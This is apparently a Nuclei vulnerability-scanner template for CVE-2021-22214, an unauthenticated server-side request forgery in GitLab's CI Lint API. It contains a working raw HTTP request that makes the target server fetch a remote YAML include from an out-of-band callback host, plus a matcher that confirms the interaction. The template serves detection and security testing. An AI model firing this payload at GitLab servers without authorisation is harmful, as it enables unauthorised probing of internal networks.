id: CVE-2021-22214

info:
  author: Suman_Kar
  name: Unauthenticated Gitlab SSRF - CI Lint API
  severity: medium
  description: When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited.
  reference: |
      - https://nvd.nist.gov/vuln/detail/CVE-2021-22214
      - https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
      - https://docs.gitlab.com/ee/api/lint.html
  tags: cve,cve2021,gitlab,ssrf,oob

requests:
  - raw:
      - |
        POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
        Referer: {{BaseURL}}
        content-type: application/json
        Connection: close

        {"content": "include:\n  remote: http://{{interactsh-url}}/api/v1/targets?test.yml"}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "http"